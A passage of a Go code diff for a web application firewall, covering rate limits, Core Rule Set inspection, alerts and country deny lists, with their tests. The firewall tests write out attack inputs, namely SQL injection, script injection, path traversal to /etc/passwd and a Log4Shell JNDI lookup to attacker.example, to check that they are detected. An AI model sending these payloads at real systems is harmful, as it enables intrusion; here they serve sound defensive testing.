+				Method:    http.MethodPost,
+				Host:      appHost,
+				Path:      "/upload?part=1",
+				Status:    http.StatusOK,
+				UserAgent: userAgent,
+			},
+			Requests: 1,
+		},
+	}
+
+	got := server.Ledger.Bans(netblock)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
+	}
+
+	wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, want,
+		requestlog.FormatTime(want.Expires)))
+
+	if offences := historyOf(t, server, client).Offences.Limit; offences != 1 {
+		t.Errorf("history counts %d offences for a limit, want 1", offences)
+	}
+}
+
+func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
+		mode:                observe,
+		bytesLimitPerMinute: byteLimit,
+	})
+	start := clk.Now()
+
+	// No ban sets the client's counters back to zero, so each request
+	// breaks the limit again. The answer is the app's either way, and the
+	// alert for the ban is not sent twice within the cooldown.
+	for range 2 {
+		line := s.upload()
+		wantWouldAction(t, line, "")
+
+		if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit ||
+			line.BanExpires != "" {
+			t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+				"want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires,
+				minuteBytes)
+		}
+	}
+
+	if held := server.Ledger.Snapshot(); len(held) != 0 {
+		t.Errorf("the ledger holds %+v, want no ban", held)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 1 {
+		t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
+	}
+
+	notes, _ := waiting[0].Detail["notes"].(bans.Notes)
+	alert := banAlert(alerts.EventBan, start, client, bans.Ban{
+		Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
+		Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
+	}, requestlog.FormatTime(start.Add(time.Hour)))
+	alert.Detail["mode"] = observe
+	wantAlerts(t, queue, alert)
+}
+
+func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) {
+	t.Parallel()
+
+	s, _ := startWithAnswers(t, map[string]string{
+		mode:                observe,
+		rateLimitPerMinute:  "1",
+		bytesLimitPerMinute: "150",
+	})
+
+	s.upload()
+
+	// The second request breaks the rate limit, which in enforce mode would
+	// refuse it before the app sent anything, so its 100 bytes are not
+	// counted, and the byte limit is not broken. Its line gives the bytes
+	// counted before it.
+	line := s.upload()
+	wantWouldAction(t, line, requestlog.ActionRateLimited)
+
+	if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
+		t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
+			line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes)
+	}
+}
+
+// uploadHeader and uploadBody are the header and the body of a request
+// with a body of bodyBytes.
+//
+//nolint:gochecknoglobals // a constant cannot call strings.Repeat
+var (
+	uploadHeader = "Content-Length: " + strconv.Itoa(bodyBytes)
+	uploadBody   = strings.Repeat("u", bodyBytes)
+)
+
+// readAndAnswer is the app of these tests: it reads each request's whole
+// body and answers with answerBytes bytes.
+func readAndAnswer(w http.ResponseWriter, r *http.Request) {
+	_, _ = io.Copy(io.Discard, r.Body)
+	_, _ = io.WriteString(w, strings.Repeat("a", answerBytes))
+}
+
+// breakOff is an app that announces an answer of twice answerBytes, and
+// breaks off after answerBytes.
+func breakOff(w http.ResponseWriter, _ *http.Request) {
+	w.Header().Set("Content-Length", strconv.Itoa(2*answerBytes))
+	_, _ = io.WriteString(w, strings.Repeat("a", answerBytes))
+}
+
+// answerAfterUpgrade is an app that switches protocols, as for a
+// WebSocket, and then answers each line it receives with a line of
+// answerBytes.
+func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
+	conn, buffered, err := http.NewResponseController(w).Hijack()
+	if err != nil {
+		return
+	}
+
+	defer func() {
+		_ = conn.Close()
+	}()
+
+	_, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" +
+		"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
+	_ = buffered.Flush()
+
+	for {
+		_, err := buffered.ReadString('\n')
+		if err != nil {
+			return
+		}
+
+		_, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n")
+		_ = buffered.Flush()
+	}
+}
+
+// webSocket opens a WebSocket from client to answerAfterUpgrade, sends a
+// line of bodyBytes on it, reads the answer, and closes it. It checks the
+// answer, and the log line as request does, and returns the log line.
+func (s *sender) webSocket() logLine {
+	s.t.Helper()
+
+	conn, reader := s.openWebSocket()
+	send(s.t, conn, strings.Repeat("u", bodyBytes-1)+"\n")
+
+	got, err := reader.ReadString('\n')
+	if err != nil || len(got) != answerBytes {
+		s.t.Errorf("got %d bytes (%v), want %d", len(got), err, answerBytes)
+	}
+
+	return s.closeWebSocket(conn)
+}
+
+// openWebSocket sends a request from client to switch protocols, as for a
+// WebSocket, and checks that the app switches. It returns the connection,
+// on which reading fails once waitLimit has passed, and a reader of what
+// the app sends on it.
+func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
+	s.t.Helper()
+
+	conn := dial(s.t, s.addr)
+	send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
+		": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
+
+	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
+	if err != nil {
+		s.t.Fatalf("set read deadline: %v", err)
+	}
+
+	reader := bufio.NewReader(conn)
+
+	res, err := http.ReadResponse(reader, nil)
+	if err != nil {
+		s.t.Fatalf("read the answer to the upgrade: %v", err)
+	}
+
+	_ = res.Body.Close()
+
+	if res.StatusCode != http.StatusSwitchingProtocols {
+		s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
+	}
+
+	return conn, reader
+}
+
+// closeWebSocket closes conn, a WebSocket openWebSocket opened, checks its
+// log line as request does, and returns it.
+func (s *sender) closeWebSocket(conn net.Conn) logLine {
+	s.t.Helper()
+
+	_ = conn.Close()
+
+	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
+	s.sent++
+	wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
+
+	return line
+}
+
+// startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
+// test that looks at neither the server nor the alerts.
+func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
+	t.Helper()
+
+	s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
+
+	return s, clk
+}
+
+// download sends a GET request for / from client, and checks that the
+// app's answer is passed on, as request does. It returns the log line and
+// the answer.
+func (s *sender) download() (logLine, answer) {
+	s.t.Helper()
+
+	return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
+		requestlog.ActionForward)
+}
+
+// upload is download for a POST request with a body of bodyBytes, and
+// returns the log line.
+func (s *sender) upload() logLine {
+	s.t.Helper()
+
+	line, _ := s.requestWithBody(http.MethodPost, client, "/", uploadHeader,
+		uploadBody, http.StatusOK, requestlog.ActionForward)
+
+	return line
+}

internal/servewaf/client.go

@@ -0,0 +1,62 @@
+package servewaf
+
+import (
+	"crypto/rand"
+	"net/http"
+	"net/netip"
+	"slices"
+)
+
+// peerAddress is the address of the request's TCP peer.
+func peerAddress(r *http.Request) netip.Addr {
+	addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
+	if err != nil {
+		return netip.Addr{}
+	}
+
+	return addrPort.Addr().Unmap()
+}
+
+// requestIDHeader carries the request's id, from rproxy.
+const requestIDHeader = "X-Request-ID"
+
+// requestID is the request's id: the one a question gives, or for any other
+// request a new random one.
+func requestID(r *http.Request, isQuestion bool) string {
+	if isQuestion {
+		return r.Header.Get(requestIDHeader)
+	}
+
+	return rand.Text()
+}
+
+// scheme is how the visitor reached rproxy, or the trusted proxy in front of
+// it, as a question says in X-Forwarded-Proto, or otherwise http.
+func scheme(r *http.Request, isQuestion bool) string {
+	proto := r.Header.Get("X-Forwarded-Proto")
+	if !isQuestion || proto == "" {
+		return "http"
+	}
+
+	return proto
+}
+
+// clientGroup is the client a request is counted toward: its IPv4
+// address, or its IPv6 group, the netblock its IPv6 address is in of the
+// length SWWAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
+// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
+func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
+	addr = addr.Unmap()
+	if addr.Is6() {
+		return netip.PrefixFrom(addr, h.config.IPv6GroupPrefix).Masked()
+	}
+
+	return netip.PrefixFrom(addr, addr.BitLen())
+}
+
+// isInside reports whether addr is in one of the netblocks.
+func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
+	return slices.ContainsFunc(netblocks, func(netblock netip.Prefix) bool {
+		return netblock.Contains(addr)
+	})
+}

internal/servewaf/coreruleset.go

@@ -0,0 +1,88 @@
+package servewaf
+
+import (
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
+)
+
+// checkCoreRuleSet inspects the request with the Core Rule Set, unless
+// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
+// pathExempt decides, and notes the rules it matched and its score in the
+// log line, and the rules in the metrics. A score at or over
+// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
+// and in block mode refuses the request, which is an offence its client's
+// history counts, and so returns ActionWAFBlocked. It returns "" for a
+// request it does not refuse.
+func (rq *request) checkCoreRuleSet() string {
+	cfg := rq.h.config
+	if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
+		return ""
+	}
+
+	start := time.Now()
+
+	// A question's body has been read into memory, so that reading it here
+	// cannot fail.
+	result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
+	rq.requestBytes = int64(len(read))
+
+	rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
+	rq.line.WAFRuleIDs = result.RuleIDs
+	rq.line.WAFScore = &result.Score
+
+	for _, id := range result.RuleIDs {
+		rq.h.metrics.WAFMatched(cfg.WAFMode, id)
+	}
+
+	threshold := cfg.WAFAnomalyThreshold
+	if threshold == 0 || result.Score < threshold {
+		return ""
+	}
+
+	rq.alertWAFBlock(result)
+
+	if cfg.WAFMode == config.WAFModeDetect {
+		return ""
+	}
+
+	rq.wafBlocked = true
+
+	return requestlog.ActionWAFBlocked
+}
+
+// alertWAFBlock raises the waf_block alert for the request, which the Core
+// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
+// detail gives the rule ids, the score, the method and the path with the
+// query, and, for a request that is not refused for it, the mode: detect,
+// or observe in observe mode.
+func (rq *request) alertWAFBlock(result waf.Result) {
+	detail := map[string]any{
+		"rule_ids": result.RuleIDs,
+		"score":    result.Score,
+		"method":   rq.in.Method,
+		"path":     rq.in.URL.RequestURI(),
+	}
+
+	switch {
+	case rq.h.config.WAFMode == config.WAFModeDetect:
+		detail["mode"] = config.WAFModeDetect
+	case rq.h.config.Observe:
+		detail["mode"] = "observe"
+	}
+
+	rq.h.alerts.Raise(alerts.Alert{
+		Event:    alerts.EventWAFBlock,
+		Host:     rq.site,
+		Client:   rq.client,
+		Netblock: rq.h.clientGroup(rq.client),
+		ASN:      rq.line.ASN,
+		ASName:   rq.line.ASName,
+		Country:  rq.line.Country,
+		Reason:   "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
+		Detail:   detail,
+	})
+}

internal/servewaf/coreruleset_test.go

@@ -0,0 +1,480 @@
+package servewaf_test
+
+import (
+	"io"
+	"net/http"
+	"net/netip"
+	"slices"
+	"strconv"
+	"strings"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
+// its two modes that inspect requests.
+const (
+	wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
+	wafDisabledRules    = "SWWAF_WAF_DISABLED_RULES"
+	wafExemptPaths      = "SWWAF_WAF_EXEMPT_PATHS"
+	wafBodyLimit        = "SWWAF_WAF_BODY_LIMIT"
+	block               = "block"
+	detect              = "detect"
+)
+
+// formData is the type of a form's body.
+const formData = "application/x-www-form-urlencoded"
+
+// sizeLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
+// setting.
+const (
+	sizeLimit        = 1 << 10
+	sizeLimitSetting = "1K"
+)
+
+// sqlInjection asks for / with an SQL injection in its query, which only
+// the Core Rule Set's rule 942100 matches, with a score of 5, the default
+// SWWAF_WAF_ANOMALY_THRESHOLD.
+const sqlInjection = "/?id=1'%20OR%20'1'='1"
+
+// wantWAF checks the request log line's waf_rule_ids and waf_score, and
+// that it has duration_waf, or with no score, that it has none of the
+// three: the Core Rule Set did not inspect the request.
+func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
+	t.Helper()
+
+	if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
+		t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
+	}
+
+	switch {
+	case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
+		t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
+			line.fields["waf_score"], line.fields["duration_waf"])
+	case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
+		t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
+	case score != nil && line.DurationWAF == nil:
+		t.Error("log line has no duration_waf")
+	}
+}
+
+func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
+	t.Parallel()
+
+	for _, attack := range []struct {
+		name, path, header string
+		ruleIDs            []int
+		score              int
+	}{
+		{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
+		{
+			"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
+			[]int{941100, 941110, 941160, 941390}, 20,
+		},
+		{
+			"path traversal in the path", "/files/../../etc/passwd", "",
+			[]int{930100, 930110}, 10,
+		},
+		{
+			"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
+			[]int{944150}, 5,
+		},
+		{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
+		{
+			// Coraza keeps the first 1000 query parameters.
+			"SQL injection after 1000 query parameters",
+			"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
+			[]int{900300}, 5,
+		},
+	} {
+		t.Run(attack.name, func(t *testing.T) {
+			t.Parallel()
+
+			for _, tc := range []struct {
+				mode, action string
+				status       int
+			}{
+				{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
+				{detect, requestlog.ActionForward, http.StatusOK},
+			} {
+				s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
+
+				line := s.requestWithHeader(client, attack.path, attack.header,
+					tc.status, tc.action)
+				wantWAF(t, line, &attack.score, attack.ruleIDs...)
+			}
+		})
+	}
+}
+
+func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+
+	line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
+		http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, new(0))
+}
+
+func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		wafMode:        block,
+		wafExemptPaths: "/api/",
+		allowNets:      allowed,
+		rulesDir:       writeRules(t, testRules),
+	})
+
+	// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
+	// exempts, are not inspected.
+	line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, nil)
+	line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
+		requestlog.ActionForward)
+	wantWAF(t, line, nil)
+
+	// The prefix is matched as rate limit exempt paths are: a path that
+	// goes up and out of it is inspected.
+	line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
+		requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(25), 930100, 930110, 942100)
+
+	// A request a rule file refuses is not inspected.
+	line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
+		requestlog.ActionRuleBlocked)
+	wantWAF(t, line, nil)
+
+	// With SWWAF_WAF_MODE off, no request is.
+	s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
+	line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, nil)
+}
+
+func TestAnomalyThreshold(t *testing.T) {
+	t.Parallel()
+
+	// A score under the threshold, or with the threshold off, is logged,
+	// and refuses nothing.
+	for _, threshold := range []string{"6", off} {
+		s, _, _ := startWithClock(t, "", map[string]string{
+			wafMode: block, wafAnomalyThreshold: threshold,
+		})
+
+		line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+		wantWAF(t, line, new(5), 942100)
+	}
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		wafMode: block, wafAnomalyThreshold: "5",
+	})
+	s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
+}
+
+func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
+	t.Parallel()
+
+	for _, request := range []struct {
+		name, method, path, header string
+		// ruleIDs are the rules that match the request with none
+		// switched off.
+		ruleIDs []int
+	}{
+		{
+			"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
+			"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
+			[]int{920420, 930130},
+		},
+		{
+			"package upload without a type", http.MethodPut,
+			"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
+			[]int{920340},
+		},
+		{
+			"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
+			[]int{920440},
+		},
+		{
+			"an editor's settings", http.MethodGet,
+			"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
+		},
+	} {
+		t.Run(request.name, func(t *testing.T) {
+			t.Parallel()
+
+			body := ""
+			if request.method != http.MethodGet {
+				body = "push"
+			}
+
+			// By default, the rules are switched off.
+			s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+			line, _ := s.requestWithBody(request.method, client, request.path,
+				request.header, body, http.StatusOK, requestlog.ActionForward)
+			wantWAF(t, line, new(0))
+
+			// A list given replaces the default.
+			s, _, _ = startWithClock(t, "", map[string]string{
+				wafMode: block, wafDisabledRules: "942100",
+			})
+			score := 5 * len(request.ruleIDs)
+			line, _ = s.requestWithBody(request.method, client, request.path,
+				request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
+			wantWAF(t, line, &score, request.ruleIDs...)
+
+			// And switches off the rules it lists.
+			line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+			wantWAF(t, line, new(0))
+		})
+	}
+}
+
+func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
+	t.Parallel()
+
+	const body = "id=1'%20OR%20'1'='1"
+
+	header := "Content-Type: " + formData + "\r\nContent-Length: " +
+		strconv.Itoa(len(body))
+
+	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+	line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
+		http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, new(0))
+
+	s, _, _ = startWithClock(t, "", map[string]string{
+		wafMode: block, wafBodyLimit: sizeLimitSetting,
+	})
+	line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
+		http.StatusForbidden, requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(5), 942100)
+}
+
+func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
+	t.Parallel()
+
+	// The app answers with the body it was sent, once it has the whole of
+	// it: Go's server reads no more of a body once the answer has begun.
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		body, _ := io.ReadAll(r.Body)
+		_, _ = w.Write(body)
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		wafMode: block, wafBodyLimit: sizeLimitSetting,
+	})
+	longer := "a=" + strings.Repeat("b", 64*sizeLimit)
+
+	for i, tc := range []struct {
+		name, contentType, body string
+		// announced sends the body's length in Content-Length; otherwise
+		// the body is sent in chunks with no length given.
+		announced bool
+	}{
+		{"form data within the limit", formData, "a=b", true},
+		{"form data longer than the limit", formData, longer, true},
+		{"form data longer than the limit, not announced", formData, longer, false},
+		{
+			"JSON larger than the limit", "application/json",
+			`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
+		},
+		{
+			"a binary body", "application/octet-stream",
+			strings.Repeat("\x00\xff", sizeLimit), true,
+		},
+	} {
+		// A reader whose length the client cannot tell is sent in chunks.
+		var body io.Reader = strings.NewReader(tc.body)
+		if !tc.announced {
+			body = io.MultiReader(body)
+		}
+
+		req := newRequest(t, http.MethodPost, addr, "/", body)
+		req.Header.Set("Content-Type", tc.contentType)
+
+		got := do(t, req)
+		if got.status != http.StatusOK || string(got.body) != tc.body {
+			t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
+				tc.name, len(got.body), got.status, len(tc.body))
+		}
+
+		line := out.endedLines(t, i+1)[i]
+		wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+
+		if line.RequestBytes != int64(len(tc.body)) {
+			t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
+				line.RequestBytes, len(tc.body))
+		}
+	}
+}
+
+func TestResponsesAreNotInspected(t *testing.T) {
+	t.Parallel()
+
+	// A raw shell script, and an SQL error, which the Core Rule Set's rules
+	// for responses take for a leak.
+	const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
+		"You have an error in your SQL syntax; check the manual that " +
+		"corresponds to your MySQL server version\n"
+
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		_, _ = w.Write([]byte(page))
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
+
+	got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
+	if got.status != http.StatusOK || string(got.body) != page {
+		t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
+	}
+
+	wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
+}
+
+func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		wafMode: block, errorBurstThreshold: "2", metricsToken: token,
+	})
+
+	for range 2 {
+		s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
+	}
+
+	// The third refusal in a minute breaks the error burst, and bans the
+	// client.
+	line := s.request(client, sqlInjection, http.StatusForbidden,
+		requestlog.ActionWAFBlocked)
+	if line.LimitHit != requestlog.LimitHitErrorBurst ||
+		line.Offence != requestlog.OffenceLimit {
+		t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
+			line.LimitHit, line.Offence)
+	}
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
+	if offences := historyOf(t, server, client).Offences; offences != want {
+		t.Errorf("history counts the offences %+v, want %+v", offences, want)
+	}
+
+	metrics := s.scrape()
+	wantMetric(t, metrics,
+		`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
+	wantMetric(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
+	wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
+		`instance="app",status_class="4xx"}`, 3)
+}
+
+func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
+	})
+
+	for range 3 {
+		s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	}
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	offences := historyOf(t, server, client).Offences
+	if offences != (ratelimit.Offences{}) {
+		t.Errorf("history counts the offences %+v, want none", offences)
+	}
+
+	metrics := s.scrape()
+	wantMetric(t, metrics,
+		`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
+	wantNoSeries(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
+}
+
+func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
+
+	line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(5), 942100)
+
+	// It is an offence as in enforce mode.
+	want := ratelimit.Offences{WAFBlocked: 1}
+	if offences := historyOf(t, server, client).Offences; offences != want {
+		t.Errorf("history counts the offences %+v, want %+v", offences, want)
+	}
+}
+
+func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// status and action are what the request is answered and logged
+		// with, and alertMode what the alert's detail gives as mode, if
+		// anything.
+		status            int
+		action, alertMode string
+	}{
+		{
+			"block", map[string]string{wafMode: block},
+			http.StatusForbidden, requestlog.ActionWAFBlocked, "",
+		},
+		{
+			"detect", map[string]string{wafMode: detect},
+			http.StatusOK, requestlog.ActionForward, detect,
+		},
+		{
+			"block in observe mode", map[string]string{wafMode: block, mode: observe},
+			http.StatusOK, requestlog.ActionForward, observe,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s, clk, _, queue := startWithAlerts(t, tc.env)
+
+			// The second is a repeat, which the cooldown holds back, and an
+			// ordinary request raises none.
+			for range 2 {
+				s.request(client, sqlInjection, tc.status, tc.action)
+			}
+
+			s.get(client, http.StatusOK, requestlog.ActionForward)
+
+			detail := map[string]any{
+				"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
+				"path": sqlInjection,
+			}
+			if tc.alertMode != "" {
+				detail["mode"] = tc.alertMode
+			}
+
+			wantAlerts(t, queue, alerts.Alert{
+				Instance: alertInstance,
+				Time:     clk.Now(),
+				Event:    alerts.EventWAFBlock,
+				Host:     appHost,
+				Client:   netip.MustParseAddr(client),
+				Netblock: netip.MustParsePrefix(client + "/32"),
+				Reason:   "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
+				Detail:   detail,
+			})
+
+			if queue.Suppressed() != 1 {
+				t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
+			}
+		})
+	}
+}

internal/servewaf/countries.go

@@ -0,0 +1,21 @@
+package servewaf
+
+import (
+	"slices"
+)
+
+// countryDenied reports whether the country lists refuse the request, by
+// the client's country as it was looked up. A client without a country,
+// or whose country cannot be found, is refused only by
+// SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
+func (rq *request) countryDenied() bool {
+	denied := rq.h.config.DeniedCountries
+	allowed := rq.h.config.ExclusivelyAllowedCountries
+	country := rq.line.Country
+
+	if slices.Contains(denied, country) {
+		return true
+	}
+
+	return len(allowed) > 0 && !slices.Contains(allowed, country)
+}

internal/servewaf/countries_test.go

@@ -0,0 +1,375 @@
+package servewaf_test
+
+import (
+	"encoding/json"
+	"maps"
+	"net/http"
+	"net/http/httptest"
+	"slices"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The clients the stand-in for GeoJS knows about.
+const (
+	// fromDE is placed in Germany.
+	fromDE = client
+	// fromKP is placed in North Korea.
+	fromKP = "198.51.100.7"
+	// unplaced cannot be placed in any country.
+	unplaced = "192.0.2.1"
+)
+
+func TestCountryLists(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name    string
+		env     map[string]string
+		refused []string
+	}{
+		{"denied", map[string]string{deniedCountries: "kp"}, []string{fromKP}},
+		{
+			"exclusively allowed", map[string]string{allowedCountries: "DE"},
+			[]string{fromKP, unplaced},
+		},
+		{
+			"both", map[string]string{deniedCountries: "kp", allowedCountries: "de,fr"},
+			[]string{fromKP, unplaced},
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			var calls atomic.Int32
+
+			app := startApp(t, func(http.ResponseWriter, *http.Request) {
+				calls.Add(1)
+			})
+			geojsURL, _ := startGeoJS(t)
+			env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
+			maps.Copy(env, tc.env)
+			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
+
+			// The AS number GeoJS gives unplaced, 64512, counts as unknown.
+			for i, sent := range []struct{ client, asn, asName, country string }{
+				{fromDE, asnDE, asNameDE, "DE"}, {fromKP, asnKP, asNameKP, "KP"},
+				{unplaced, "", "", ""},
+			} {
